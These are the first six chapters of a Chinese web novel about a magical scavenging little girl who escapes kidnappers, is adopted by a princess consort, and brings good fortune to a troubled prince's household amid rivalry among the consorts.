《王府里来了个捡破烂的崽崽》 第1章 刚出门的幼崽被拐跑啦 京城西郊,一座破旧的老道观门口。 “团团啊,下了山,路上看见什么都能捡,捡了就放在包袱里藏好,别让外人瞧见。” 一个老道面对着眼前的小娃娃,叮嘱完忍不住揉了揉眉心。 旁边两个小道童站在一旁不停点头:“师父说的是,团团你一定要记住啊。 团团一身漂亮的小花裙,仰起一张白嫩嫩,圆嘟嘟的小脸,冲着老道露出两个小梨涡,笑着回答:“嗯啊!晓得啦!“ “等我认了亲,把你们也接去,一起吃好吃的,住大大的房子。” 老道的脸皮抽了抽,今天无论如何也得把这小祖宗送走! 五年前,这个小女娃尚在襁褓,不知被谁丢在了道观门口,他看着可怜,便抱进了道观里养着,见她孤苦无依,遂起名团团,希望她有朝一日,能和家人团聚。 没想到自从团团给来了以后,这无人问津的偏远破道观突然便多了不少香客,连周围山里经常光顾的野兽也不再来了。 当时观中的众人还都感叹,真是个福星啊! 万万没想到,这小福星有个要命的毛病,喜欢捡破烂! 附近村里的鸡鸭鹅牛羊,她看见没人在便牵回来,连人家门口的板凳碗碟都没放过,全悄咪咪的背了回来。 捡回来也就罢了,还到处藏,不让人找到,搞得现在谁家不见了什么,都到观里来寻,每次都得所有人出马,千哄万哄得才肯拿出来。 观里都快被她捡成废品存放站了,老道实在是没办法,琢磨再不把人送下山,怕是这道观都要重建了。 于是哄她,说你是京城一个大家遗落在外的崽,该回去认亲和家人团聚了,你走到哪里都有好事发生,如今你家中霉运缠身,急等着你回去镇宅转运。 团团信了。 “爷爷放心啊,我肯定能把我家救回来,再把你们接去享福!” 老道急得直搓手:“快走快走,再磨蹭,下了山都天黑了,你怕是能把后山那口破井也顺回来。” 团团瘪了瘪嘴,拎起包袱往背上一扔,一蹦一跳下了山。 目送着那小小一只背影逐渐走远,两个小道童互相看了一眼:“总算把这小祖宗送出去了!走!咱们去庆祝一番!” 团团一路走,一路捡。 路边的破瓦片,溪边的小石子,掉落的知了壳……她都视若珍宝的捡起来放进了包袱。 走着走着,包袱越来越重,她找了块石头坐了下来,抱着小包袱:“捡不动了。” 天色越发暗下来。 她有点犯嘀咕,要不要,先回去一趟?把这些捡来的好宝贝藏好了,明天再去京城找爹娘? “哟,小丫头,你怎么一个人在这里?你爹娘呢?”一个苍老的声音突然响起。 团团一抬头,是个老婆婆,头发灰白,嘴角有颗黑痣,满脸慈祥的笑容。 “我在找我爹娘啊!婆婆你认识他们吗?“ 老太婆笑了:“婆婆不认识,但婆婆可以帮你找啊!你饿不饿?婆婆先带你到我家去吃饭好不好?” “好!我饿啦!”团团眼睛一亮,笑了,脸上露出两个小梨涡。 她抱着小包袱站了起来:“道长说我爹娘就在城里,住着大大的房子呢!”她用手比划了一个圈,大大的! “那不是巧了嘛,婆婆就是前面镇上春香院的!那儿有的是大户人来往,说不准你爹娘就在里头等你呢。”老婆婆咧嘴一笑,露出一口黄牙。 团团歪着头想了想,这婆婆说得有理啊,肚子好饿,先跟着去吃饱了肚子再去找也挺好。 “好!”她点了点头。老太婆笑得更灿烂了,牵起她的小手就往镇上走。 这小姑娘生得真水灵,脸上两个小酒窝一看就招人,就是年纪还小,不过正好,养个几年,学会了弹琴唱曲,足可稳坐春香院的头牌。 同一时间,京城,宁王府后山。 王妃程如安一身素衣,正在祭祖。 宁王,萧元珩,年三十有余,为当朝皇室旁支一脉的宗亲。 曾是一名战将,征战沙场,军功赫赫,封为宁王,如今却怪病缠身,缠绵病榻两载有余。 太医院的太医们一听到宁王府有请,都暗自摇头,这一身的怪病,根本无从治起。 皇上下旨张榜为他请过名医,请过国师,却皆束手无策。 王妃与宁王虽然情笃,却膝下无出,府中的三个儿子皆是庶出,且各有顽疾,王妃终日郁郁,除了在祠堂烧香祈福,就是祭祖,祈求列祖列宗保佑,早已别无他法。 她跪在祖坟前,手中捻着香,唇色发白,口中不停喃喃。 “王爷为国征战,铁骨铮铮,不该受此磋磨。求祖宗保佑,让他病痛得消,哪怕折我寿数,我也心甘情愿。” 她说着说着,声音哽咽:“府中三个孩儿,虽非我亲生,却也是王爷的血脉,但不知为何,他们也各有疾苦,我这个做嫡母的,无能为力,实在心焦。“ 她顿了顿:“宁王府这些年,风雨飘摇,诸事不顺,求祖宗开眼,指点迷津,给王府一条生路……” 话音刚落,天上突然传来了滚滚雷声,大白天里一道雷霆轰然劈下,砸在祖坟前的镇石上。 “砰!”石头居然裂开了,烫起一道白烟。 程如安脸色惨白,身后的下人们也都吓傻了。 她稳了稳心神,走上前,颤着手扒拉开了碎裂的石头。 只见裂缝底下,慢慢渗出了三行字迹,隐隐透着青色的光。 春香院,柳湾村,花溪镇。 她怔住了,闭了闭眼,睁开了再看时,字迹却不见了。 难道是我魔障了? 不!刚才那几个字确实出现过! 这、这是祖宗……显灵了? 王妃僵了好一瞬,还犹豫什么!死马当活马医吧! 她猛地站起身:“套车!去柳湾村,花溪镇!给我找这个春香院!” 第2章 崽崽大闹春香院 团团睡着了。 无论老太婆怎么喊,她都睁不开眼:“别吵!我走不动啦。” 老太婆恨得咬牙,干脆不想要她了,却又怎么都舍不下这个白捡来的大便宜,想把她怀里的小包袱扔掉,又拽不开她死死抱住的两只小手。 老太婆扒开一条缝往里看:“这都什么乱七八糟的东西!一堆破烂!” 没办法,老太婆只好把她背在背上,一步一步往前走。 背一截路歇一会儿, 一路走一路骂骂咧咧:“这不是捡了个祖宗嘛!” 终于,走到了春香院,来到后院的一间小屋里,老太婆把她往地上一扔,咔哒一声将门锁死了,直了直后背:“哎呦,我的老腰!” 团团被摔醒了,揉着小眼睛坐起来,低头一看,小包袱还在,顿时安心了不少。 她张望着四周,吃的呢? 目光落在角落里蜷缩在一起的三个瘦巴巴的小姑娘身上。 “你们是谁啊?饭在哪里啊?”团团问。 一个小姑娘瘪了瘪嘴:“饭?没有饭,我们从昨天开始就没吃过饭了。你也是不听话被关进来的?” 团团歪着头思索:“为什么没有饭吃啊?婆婆说让我来吃饱肚子的。” “刚才把你送来的老太婆?就是她说的,进来了就要听话,不听话就不给饭吃。” 团团的小脸顿时鼓了起来:“骗人!她说带我来吃饭!吃饱了帮我找爹娘呢!” “那是她骗你的!” “哼,坏蛋!”团团气鼓鼓地抱紧了怀里的小包袱。 对了,我还有我的宝贝! 扯开了小包袱,她掏出昨天刚捡的破瓦片,往地上一摔:“我要出去!” 啪啦一声,瓦片落在地上摔成了碎片。 咔嚓咔嚓的声音突然不断响起,墙角处竟然不断出现了裂纹,眼看那裂纹越来越多,最终竟然露出来一个洞。 团团眼睛一亮:“走呀,咱们出去找好东西!” 她猫着腰钻了出去,几个小姑娘惊得目瞪口呆,互相看了看,也都跟着钻了出去。 谁都没有注意到,地上那些摔碎的瓦片,已然消失不见。 春香院的院子本来就不大,几个小姑娘灰头土脸撒腿跑起来,撞翻了水桶,踩翻了鸡窝,一时间院子里鸡飞狗跳起来。 “这几个小丫头怎么跑出来了?赶紧抓回来啊!”老太婆喊着院子里的打手们。 团团趁着他们没有抓到自己,从包袱里又摸出一个干巴巴的知了壳,往天上一扔:“快来救我!” 一个五大三粗的打手冲过来,一把攥住了她细小的胳膊:“还敢跑?饿你几天就老实了!” 空中突然响起了“嗡嗡嗡……”的声音,越来越近,越来越大,所有人都停了下来,不明所以的四处张望。 无数知了猛然飞到,密密麻麻乌压压的直扑向打手们的脸。 他们只能松开了手里的小姑娘,惨叫着四处抱头乱窜。 “哪儿来这么多知了!” “救命啊!” 桌椅倒了,锅碗瓢盆翻了,账本掉落一地。 一个小姑娘小手一指:“大门!在那里!“ 团团听到了,抱紧了怀中的小包袱:“快跑啊!“带头冲着大门口跑了过去,几个小姑娘见状也都跟了上来。 眼尖的老太婆尖声大叫:“抓住她们!不能让她们跑了!那都是银子啊!“ 但打手们都被知了缠住了,根本看不见,老太婆腿脚又慢,只能眼睁睁的看着团团几人跑出了大门。 “吁——!” 一辆豪华的马车停在了春香院的门口。 侍卫掀开了车帘,宁王妃程如安坐在车内,正对上刚刚跑出来的几个孩子。 领头的那个,怀里抱着个小包袱,小脸圆嘟嘟的,白白糯糯的脸上梨涡隐现,气势硬得很:“坏蛋!不给我吃饭!” 王府的老嬷嬷刘氏猛地吸了口凉气,惊呼:“王妃!那孩子长得,跟您小时候,一模一样!” 王妃一怔:“什么?” “您看啊!那张小脸!那脸上的小梨涡!那神态!跟小时候您闹腾时一个样儿!一眼就能看出来!” 程如安心中一动,莫非,就是这孩子? 今日祖宗显灵将我指引至此,就是让我接回这孩子? 这绝对不是巧合! 把手伸给刘嬷嬷,扶着她下了马车,程如安抬头看了看春香院的牌匾,走到团团的面前:“小姑娘,你叫什么?为何在这里,要去哪?” 团团抬起头看着她,好漂亮,好想贴贴啊:“我叫团团!来找我爹娘!这个婆婆。“她小手往里面一指。 “她说带我回家吃饭,帮我找爹娘,把我关起来,不给我饭吃!“ 她说的颠三倒四,程如安却听明白了,眉头一皱:“萧二!“ “在!“王府侍卫长萧二马上走了上来。 “去,将此地父母官叫来,你亲自过问此事,若有违背律法之处,一概严惩!“她看了一眼其他几个小姑娘:“妥善安置。” “是!“萧二领命而去。 王妃低头牵起了团团的小手:“你可知你爹娘的名字?家在何处?” 团团想了想,摇了摇头。 程如安看着她,不知为何心里一片柔软:“那你愿不愿意我做你的娘亲?跟我回家,想吃什么,娘亲都给你做。“ 团团仰着头,看着她的脸,大眼睛一眨一眨的。 程如安手有些颤抖,生怕她说不去,自己该如何是好。 团团脸上露出了一个灿烂的笑容,两个小梨涡深深的陷了进去:“好啊!你家有什么我能捡的宝贝吗?“ 程如安一颗心落在了肚子里,忍俊不禁:“你要捡什么宝贝?” “只要是我喜欢的,都要!”团团理直气壮,只要没人在旁边,就可以捡!捡到了就是我的!“我要捡回来藏起来,可有用呢。” 王妃弯下腰将她抱进了怀中:“好!我家宅子很大很大,你喜欢什么,都可以捡!” 团团眼睛一亮:“你家在京城里吗?” “对啊!” “娘亲!“团团将小脸埋在了程如安的颈窝里:”原来,你就是我娘亲啊!爷爷说过,我爹娘在京城,住在大大的房子里!“ 小脸冰凉软嫩,蹭的脖子痒痒的,程如安心头一颤,俯身将她抱起:“娘亲带你回家。” 团团点了点头,“我以后捡回来的,都要藏在家里。” “好!都给你藏着,谁都不许碰。” “娘亲真好!“团团软软的窝在王妃的怀里,一同进了马车。 王府出面,春香院被查了个底儿掉。 参与拐带人口,逼良为娼的所有人等都被捉拿下狱,等候她们的将是刑律的严惩。 附近的居民皆对此称颂不已。 马车摇摇晃晃的驶向宁王府,团团被晃困了,窝在王妃怀中睡着了,程如安望着她的睡颜,团团,无论你是否能为王府带来祥瑞,娘亲都会照顾你一生一世。 宁王府后宅,侧妃方清妍的院落,凌霜阁中。 方清妍懒懒斜靠着美人榻:“王妃出去一整天了?”她慢吞吞的问道。 心腹婢女锦绣忙低声劝着:“主子莫气,王妃娘娘每日除了请医问药,便是祠堂祖坟烧香,今日也不过如此。” 方清妍冷哼一声:“成天烧香,祖宗也没给她什么好福气。” 锦绣陪着笑脸:“王妃膝下空空,也只能强撑着体面。这王位花落谁手,还不是得看咱们二爷?” 宁王萧元珩怪病缠身,庶子们也都身有顽疾,府中人皆已默认,若王爷过身,这世袭的王位必定是落在他的庶弟萧家二爷的身上。 “呵。”方清妍轻轻一笑:“也不枉我熬了这么些年。” “去吧,”她站起身,理了理裙摆:“时候不早了,也该做做样子,去看一眼咱们这位病恹恹的王爷了。” 第3章 跟着娘亲进了王府 “哇哦……好大啊。” 马车停在了宁王府门口。 团团睡醒了,扒在窗沿,糯叽叽地发出了一声感叹。 程如安抱着她下来,站在那高大的府门前,团团小脑袋左摇右晃,仰望着眼前这座比道观的大门还大的宅门,眼珠子都快掉出来了。 “娘亲,这门比我高好多个。” “嗯,对,好多个团团叠在一起都进得去。”王妃笑着看她,心中莫名的轻松,感觉自己好久都没有这样笑过了。 团团拍了拍自己的小包袱:“这地方这么大,一定藏了很多很多的宝贝!什么时候才能捡完啊,累死宝宝了。”嘀咕完,又打了个哈欠。 “还困?”王妃抱紧了她。 “困啊,太大了,看着就困。” “……“程如安无奈地摇了摇头:”别急着睡,先吃饱了肚子,再洗个澡,换身干净的衣服再睡。“ 她抱着团团,稳稳地走进了自己的正苑,静兰苑中。 刘嬷嬷带着下人们马上就忙碌了起来,先是让厨房马上做出了一个适合孩子吃的席面,红烧鱼,炖排骨,青菜汤……,菜端上桌,又赶紧安排人烧水,准备团团的衣裳。 团团被一桌子好菜馋得直流口水,肚子咕噜咕噜地响了起来,她坐在桌边,小手不停地指指点点,要这个,还要那个! “莫急,都是你的。”程如安细心地将骨头剔掉,把肉放在团团面前的米饭上:“慢慢吃,来,喝口汤,别噎到。” 团团饱餐了一顿,又洗了个热水澡,换上了一身鲜亮的小衣服,再出现在王妃的面前时,所有人都愣住了。 小团团一身粉红,头发梳成了两个小啾啾竖在头顶两侧,整个人跟剥了壳的糯米团子似的,白生生,软乎乎,眼珠子乌溜溜亮得像能滴出水来。 她鼻尖细软,唇瓣粉红,笑起来脸颊上便有两个浅浅的梨涡, 这梨涡,偏又生在了跟王妃脸上同样的位置,软软的,盛满了笑意。 屋里的下人们瞧着,都忍不住低声念叨:“这孩子,活脱儿一个小仙童!” 团团扯着新衣服下摆自顾自地转了两圈,新衣裳软软的,好舒服! 程如安情不自禁地将她抱在怀里,在她的小脸上亲了一下:“团团,跟娘亲去趟祠堂,给你认祖归宗!” “主子!主子!王妃带回来一个小丫头!正往祠堂去,说是要让她拜见祖宗!”锦绣跑进了凌霜阁,大声地喊着。 “什么?王妃从哪儿带来的野丫头,也敢抱去祠堂?”方清妍眉毛立起:“王爷何时有的这门子嗣?” “走!去祠堂!” 凌霜阁离祠堂近,方清妍带着自己院里的一众下人们先到,守在了门口。 看到王妃领着团团走近,笑盈盈地迎上,行了个礼:“呦!这小姑娘是谁啊?怎么王妃还带她来祠堂了?” “捡来的。这是祖宗显灵,指路给我才找到的。”程如安并未隐瞒,淡淡地回道。 “捡来的?”方清妍一愣,嘴角扯了扯。 团团仰头看着她,长得还行,可怎么一身黑气?“先来先得哦!娘亲先捡到的我,没你的份儿啦!” 方清妍噎住了,正色道:“王妃此举不妥!捡来的孩子岂能进王府祠堂!是否是王爷的血脉需宗族认定,王妃岂能儿戏?” 程如安一向温和宽容,从不与她争,她以为这次也一样,说一句便能将她挡回去。 不想这次却不同,程如安脸色一沉:“我才是正妃!府中后宅之事有我在,还轮不到你做主!若有不服,尽可以禀明王爷,请他裁断!让开!“ 方清妍首次被她拿出王妃的身份当众斥责,脸上顿时青一阵白一阵,胸中怒火翻涌,却无可奈何,自己只是侧妃,礼法如此,反驳不了,她进不得,又不想退,僵立在原地。 团团拉着程如安的手拽了拽,程如安俯下身子:“团团别怕。” 团团伸出小胳膊缠在她的脖子上,像是害怕地往她怀里躲,眼睛却瞄着方清妍,一脸狡黠:“娘亲别生气,这个黑婆婆,她有病捏!活不了多久哦!“ 黑婆婆?我明明肤白胜雪!居然还敢咒我有病?活不了多久?方清妍一张脸被她气得彻底黑了下来:“你个小野种!胡说八道什么!“抬手便想打。 团团往程如安怀里一钻,程如安将她牢牢地护住,“住嘴!还不快退下!“ 方清妍狠狠一跺脚,回身一巴掌甩在了身后婢女的脸上,怒喝了一声:“滚!“拂袖而去。 祠堂内,香烟缭绕,牌位肃穆。 团团歪着头,看看这,瞧瞧那:“娘亲,这屋子里好暗哦,看不清,不好捡。” “祠堂重地,自有威仪。”程如安摸了摸她的小脑袋:“不可胡闹。”说完便跪在了香案的面前。 “哦。”团团应了一声,学着她的模样,跪在了旁边的蒲团上。 王妃双手合十,合上双眼:“今日,蒙萧家祖宗显灵,我带回了小女团团,从今以后,她便是我王府嫡女,我定将她视为己出。求列祖列宗保佑,自此家宅平安,合府康健。” 身旁传来细细簌簌的声音,她睁开眼一看。 团团趴在蒲团上,正扒拉着地砖:“娘亲,这里怪怪的。” 程如安打从心里相信她:“怎么怪怪的?有小虫子吗?” 团团摇了摇头:“下面有东西!坏东西!“ 程如安心中一动:“来人!将这块地砖挪开!“ 几个下人进来,一起动手,很快便将那块地砖掀开了。 只见一块橙红色,半透明的东西露了出来,隐隐还有一股刺鼻的腥涩气味。 程如安大骇:“这是何物?“ 团团皱了皱小鼻子:“脏的!臭的!我不要!娘亲,快把它扔出去!“ “快!拿个盒子来!将此物放在里面,拿出祠堂!“ 下人们赶紧行动起来。 那东西刚拿出祠堂,香案上的牌位便陡然间全都颤了一下,发出了一道微弱的金光,祠堂内香火未添,却明显比方才亮堂了许多。 第4章 卡墙缝里了 第四章 程如安环顾四周,明明,风未起,光未动,一切亦如往常,但祠堂内柔和明亮,再没有以前的阴森暗沉了。 她心中大震,望向团团。 只见那小小一只正扒着香案,好奇的盯着案上的牌位,伸着小手使劲地够着,想去摸。 程如安赶忙走过去,俯身将她抱在怀里:“不能碰哦,团团。” 团团小手一指,“娘亲,蛇蛇!” “嗯。“程如安看着所有牌位的右下角处,都画着的一个十分精巧的,盘踞着的蛇形图案,耐心地告诉她:“这个蛇呢,是咱们家族的图腾徽章,只有自家人可以用。“ “旁人见到它,便知道是宁王府了,好看吗?” 团团点点头,“好看!是我见过的,最好看的蛇蛇!’ “来,跟娘亲一起,给祖宗们行礼。“ 程如安牵着她的手,重新跪在香案前,郑重地行了大礼。 团团跪在她旁边,学着她的模样也行了礼,只是人摇摇晃晃的,屁股还总往后撅。 她眨巴着眼睛,看着供桌上密密麻麻的名字,忍不住小声问:“娘亲,这么多祖宗,他们都住在这里呀?不挤吗?” “嘘,祖宗们跟咱们不一样……”程如安卡住了,顿了顿后:“这些牌位上是他们的名字,并不是他们的人,他们在这里是守着咱们的。” 团团一脸疑惑:“原来,祖宗们不是人啊!不用睡床。” 王妃赶忙捂了一下她的小嘴:“别乱讲,祖宗们以前跟咱们是一样的,但如今都已仙逝,才会在这里。” 程如安上了香,虔诚地又祷告了一番,牵着已经哈欠连天的团团走出了祠堂。 吩咐刘嬷嬷带着团团去小睡后,程如安带着那只装着祠堂挖出来的东西的盒子,坐上了马车。 傍晚时分,马车停在了一个很大的宅子门口,门楣上牌匾高悬“国师府”。 “劳烦小师傅回禀国师,宁王妃求见。” 楚渊,道号“天眼道人”,乃圣上亲封的国师,当朝公认的方外高人,受万人景仰。 王妃将那盒子奉上:“烦请国师一观。” 楚渊将盒子打开,只一眼,眉头便已皱起,他手中拂尘拂过,那橙红色的东西立时变作赤红,腥涩的气味登时窜了出来,发出轻微的“嘶嘶”声。 “王妃从何处得来此物?“ 程如安面色沉重:“王府祠堂的地砖下,请问大师,此为何物?” 楚渊沉声道:“断福蛊。雄黄炼形,蛇骨为芯。用以吞运、耗气、扰祖灵。” “宁王府的族徽,”楚渊看了她一眼,“可是五彩玄蛇?” 王妃点了下头,眼中恨意难掩:“断福蛊!原来如此!” “无量仙尊!”楚渊点了点头:“此物专克宁王府,不宜再回,便放在贫道这里罢。” 王妃起身行礼:“多谢国师。” 程如安回到王府时,夜色已深。 她直接来到内室,看着已经沉睡的团团:“何时睡下的?晚膳用得可好?” 刘嬷嬷笑着回答:“好!什么都爱吃,可是吃了不少呢!我怕她积食,晚膳后陪着在咱们院子里跑了半晌,才睡下的。 见王妃看向床头的小包袱,刘嬷嬷赶忙说:“就是要一直带着这个,不撒手,怎么哄都不行,说是要放捡来的东西。“ “取针线来,再挑块好料子。“ “您这是?“ “这包袱跟她如今的衣饰不搭,既然她如此喜爱,我便做一个能挂在腰间的绣囊给她,以后跑来跑去的也方便。“ “还是娘娘心细。“刘嬷嬷赞了一句,将布料和针线取了过来。 昏黄的烛火下,王妃坐在团团身旁,一针一线地缝了起来。 凌霜阁内。 锦绣正低声说着:“娘娘,王妃午后已带着那丫头拜过了祠堂,听她院子里的下人们说还要择良辰,记入族谱,为王府嫡女。” 方清妍手中茶盏啪的一声放在了桌上:“她居然真的要收那个野丫头当嫡女?胆子可真不小。” “明日,你出府一趟。”方清妍唇边露出一抹冷笑:“去老宅求见荣国夫人。告诉她,王妃认了个来历不明的小乞丐做嫡女。” “老夫人是王爷生母,必不会放任不管。她为正,我为侧,我管不了,便请个能管的人来管上一管。” 锦绣笑了,“娘娘好筹谋!“ 次日正午,老宅,听到消息的荣国夫人夏氏一巴掌拍在了桌上:“岂有此理!” 她颤颤巍巍地扶着身边嬷嬷顺姑的手站了起来:“王妃这是疯了不成?捡来的孩子也敢认为王府的嫡女?我萧家的血脉竟是如此儿戏了不成?” 她看向锦绣:“回去传话,就说老身明日动身,三日后便至。看她如何交代!” “是!请老夫人莫要动怒,王妃想必只是一时糊涂了。奴婢这就回去传话。”锦绣磕了个头,转身离去。 夏氏坐回案边,拿起桌上的念珠,低低地念起经来。 她原就患眼疾多年,大晴天才能勉强看清东西,念着念着,眼前便花了,想起刚才锦绣的话,怒气登时涌了上来,又是一巴掌拍了下去:“简直混账!” 夜幕低垂,锦绣快马加鞭地赶回了王府,战战兢兢地向王妃禀告了老夫人即将到府的消息。 程如安冷冷地看着她:“下去罢。” 锦绣如蒙大赦,转身快步离开了静兰苑。 刘嬷嬷凑过来,低声道:“这是方侧妃去告您的状了。” “无碍。”程如安面色如常:“我欲将团团记入族谱为嫡女之事,老夫人那边原本便是要禀明的。她一向重规矩,来了也好,若无她的首肯,我也无法给团团名正言顺的身份。” “明日将听雨阁收拾出来,给老夫人居住。” 三日后。 王妃亲自将老夫人夏氏迎进了王府,刚走进听雨阁,还没坐下,刘嬷嬷便一脸慌张地跑了进来:“您快去看一眼吧,团团卡在漏墙上出不来了!” “什么?!”程如安冲老夫人行了个礼:“母亲请安坐,儿媳去去便回。”说完也未等夏氏开口,便转身快步走了出去。 老夫人看着她迅速远去的背影,脸色越发阴沉:“扶老身过去,看看这个捡来的野丫头闯了什么祸!” 第5章 一脸皱皱的祖祖真可爱 王府花园一侧的院墙上,雕出了许多镂空漏花,都是梅花的形状,镂空处大多数都很细小,但有几个缝隙颇大,整面墙远远望去像是一幅梅花图,煞是好看。 但此时,一个小小的身子正正地卡在其中一个镂空的缝隙中。 正是团团。 见到几乎飞奔而来的程如安,团团瘪了瘪嘴,大声喊着:“娘亲!娘亲!我出不来啦!” 缝隙将她的小屁股卡得紧紧的,小胳膊小腿还在空中乱晃,像是一条挂在墙上的小鲤鱼。 圆鼓鼓的脸蛋上渗出了汗珠,眼眶微微发红,嘴巴一撇,眼看就要哭出来了。 程如安差点没被她气笑,又心疼又无奈,快步走到她面前。 “你怎么跑这里来了?谁让你钻墙眼的?!” “那里!“团团小手一指地上的花丛,委屈地嘟囔:”有亮闪闪的东西,绕墙要走好远,这里爬过去就行,我就钻了。” 她声音虽低,语气却理直气壮,但也知道自己是闯了祸,小心地瞄着程如安的脸色,悄悄地缩了缩脖子。 “捡个东西都能把自己卡墙上!你可真是……”程如安嘴上念叨,手上却已经麻利地抱住她的上半身:“来,吸口气,娘亲拉你出来。” “呼——”团团猛吸一口气:“哎哟!” “忍着点儿,别急,再试试。“ “娘亲你轻一点儿嘛,我的屁屁要掉啦!” 程如安无奈地摇了摇头:“屁屁不会掉的,乖,再试试。“ 好一番折腾,程如安才将女儿从墙里拔了出来。 团团落地后揉了揉自己的小屁股,冲着她咧嘴一笑:“没掉!“接着便一头钻进了花丛中,捡起了那个让她冒险的“宝贝”。 是一枚小铜镜。 镜面已经花了,边沿还有几个小缺口,团团小心翼翼地擦干净上面的泥土,宝贝似的放进了腰间粉色的绣囊中。 “咳咳!“身后声音响起,却是早已站在一旁,看了半晌的老夫人。 程如安牵着团团的小手走到她面前:“团团,跪下磕头,这是祖母。“ “祖祖!”团团喊了一声,听话地给夏氏行了个大礼。 老夫人微微眯眼,低着头,看向面前的小娃娃。 粉妆玉琢,脸上两个深深的小梨涡,腰间挂着一个显眼的绣囊,大眼睛忽闪忽闪地望着自己,目光澄澈,笑容甜美。 确实讨喜,让人讨厌不起来。 但她依旧沉着脸,并未答应那声“祖祖“。 团团也望着她,个子比娘亲小,脸上皱皱的,好可爱啊!就是眼睛灰蒙蒙的。 “祖祖,这个给你!”团团从绣囊中掏出刚捡到的小铜镜举得高高的:“你晚上照照,一定能看到好东西!” 老夫人低头看了眼镜子,又看了看她,没有伸手接,仍旧板着面孔,哼了一声:“成何体统!胡闹。” “没有闹!”团团瞪大了眼睛:“祖祖你晚上照照,明天一定什么都好!” “好什么?” “祖祖,“团团爬了起来,将镜子塞到夏氏的手中:”为了捡这个,我差点儿,差点儿……“小脑袋歪着使劲思索:”差点儿身亡!祖祖你就拿着吧!“ 程如安忍着笑:“别胡说!母亲,团团年纪小,说话不知轻重,您别同她计较。” 老夫人面无表情地握住了镜子:“我才不与这胡说八道的小丫头计较。” “我乏了,先回去歇着了,你晚间来听雨阁一趟。”说完扶着下人的手,转身离开了花园。 “是。”程如安行了个礼,目送着她走远。 低下头看了眼团团,牵起她的小手往静兰苑走去:“娘亲给你洗个澡去,再换身干净的衣服,这一身的灰!以后不许爬墙缝了,出不来可怎么好。“ “哦!”团团乖巧地应了一声。 晚间,团团玩了一天,早早便躺下了,程如安看着她睡熟了,起身来到了听雨阁中。 内室中只有婆媳二人,王妃细细道来,如何在拜祭祖坟时因雷劈看到了字,如何在春香院门口见到了刚刚脱险的团团,如何带入府中,叩拜祖先时团团发现了国师所说的断福蛊。 以及萧二处理完春香院的事情,回来禀告的,那些人招认出来的团团自己脱险的经过。 老夫人越听脸色越是郑重。 “便是如此了,儿媳并不敢妄动分毫,却也无论如何不敢不信,团团这孩子,正是祖宗显灵,赐给咱们萧家的。” 老夫人面色复杂:“原来如此,我明白了,你歇着去吧。“ 程如安走了,老夫人独坐在榻上,沉思良久,拿出了团团送的小铜镜,在灯下翻来覆去地看了半晌。 镜面斑驳,边沿破损,并无丝毫神异之处,她“哼”了一声,将铜镜扔在了床头,熄灯睡下。 翌日清晨,天刚蒙蒙亮,室内光线尚暗。 老夫人一觉醒来,睁开双眼,缓缓坐起,目光扫过桌上的香炉:“顺姑,香炉边怎么有只蜘蛛在爬?引出去罢,莫要杀生。“ “是。“顺姑闻言连忙走了进来。 正要将那小小的蜘蛛赶走,突然,她浑身一震:“老夫人!您是,看到的吗?“ 夏氏一愣,这才发觉,自己的眼睛,竟然,不花了,总是让她看不清楚,蒙在眼前的厚重黑雾消失了,眼前一片明亮,那么小的一只蜘蛛,她居然能够清晰地看得到! 坐在榻上愣了好一会儿,她猛地站起身,走到柜子旁,拿起绣篮。 视线清晰,针线分明,她捋出一根绣线,麻利地穿过针尾上的小孔。 抬起头,她和顺姑互相对视着,声音都有些颤抖了:“你来看看,这是,穿上了吧?” “是是是!”顺姑惊喜非常:“老夫人,您的眼睛!终于好啦!这真是,神仙保佑!祖宗显灵!” 老夫人将针线放回绣篮,走回到榻边,拿起了那枚铜镜,用手摩挲着镜面,“这孩子,”她低低地喃喃自语:“莫非真的是祖宗显灵,赐予萧家的?” 她回忆着昨晚王妃所说的一切,那个断福蛊和国师所说的话,“切莫声张,只你我知晓便好。“ “是。“ 同一时间,凌霜阁内,锦绣正在给方清研梳妆:“您是没瞧见,昨日那野丫头在园子里疯玩,不知怎么想的,居然去钻那个镂空的墙缝!” “被卡在了里面出不来,王妃费了好大的力气,才把人给拽了出来。合府的下人几乎都看见了,王妃这脸面啊,丢了一地啦。“ 锦绣咯咯直笑:“弄了那一身的灰!老夫人就站在旁边,脸拉得老长。“ 方清研不屑地撇了撇嘴:“果然就是个捡来的野丫头,这样的孩子若是成了王府嫡女,岂不是要被京城里的王公贵族们笑话死。“ “正午,赶着老太太用完膳,歇午觉前,咱们去给她请安,我为了王府声誉着想,请她来主持大局,老夫人定然欢喜,搞不好,从此厌弃了王妃,也未可知。“ “还是您想得周到。“锦绣附和着。 第6章 爹爹身上臭臭的 正午,方清妍满脸笑意地来到了听雨阁中。 她举止端庄,盈盈下跪:“给老夫人请安,昨日舟车劳顿,妾身未敢惊扰。” “你有心了。“老夫人端坐椅中,语气冷淡,并未让她起身。 方清妍脸上笑容一僵,顿了顿:“您已见过那捡来的野丫头了?竟然疯疯癫癫地去钻墙缝!毫无世家风范,如此来历不明的一个野种……“ “住口!”老夫人厉声喝止,心中怒气陡盛。 好一个侧妃!原以为她当真是为了王府着想,才特意遣人来老宅告知团团的事情,现在还有什么看不明白的?哪里是为了王府,分明就是为了她自己! 想借自己的手,打压王妃,不愿王妃有自己的嫡亲子女,欲将团团逐出王府,简直是胆大包天!那孩子是去是留,还轮不到她来做主! “王府后宅之事,自有王妃做主,岂有你说话的地方?”她语气冷厉,眉眼间全是怒火:“王妃才是王府正妃,你是个什么东西?胆敢妄自插手!“ “如此以下犯上,不敬主母,来人,掌嘴十下!” “老夫人!”方清妍猛地抬起头来,脸刷的一下白了,掌嘴?从小到大,她何曾受过这般屈辱! “动手!” 顺姑走过来:“得罪了,侧妃娘娘。“ 随即,清脆的巴掌声响起。 十下打完,方清研的脸上已是通红一片,隐隐肿起。 老夫人俯视着她:“家和万事兴,即使你身为侧妃,有老身在,也绝不会任你兴风作浪,扰乱后宅,下去吧。” “是。”锦绣应了一声,急忙扶起仍跪在地上,捂着两颊的方清研,仓皇地逃了出去。 老夫人看着她的背影:“请王妃过来。” 片刻后,程如安坐在老夫人对面,望着她脸上凝重的神情,心中涌动着一丝不安。 “母亲,”她轻声开口,略带试探,“昨日团团行为确实有些失当,但请母亲念在她尚且年幼,莫要责罚于她……” “你可知,”老夫人打断了她,缓缓抬头,眼睛里流动着光芒,声音里带着难以掩饰的激动,“今早,我的眼睛,能看清楚东西了。” 程如安愣了一下,猛地在椅中坐得笔直,脱口而出:“当真?!” 老夫人点了点头:“昨晚睡前,我照了团团送给我的铜镜,原以为不过是小孩子胡闹,未曾想,一觉醒来,我居然能看清桌上的小虫了。” 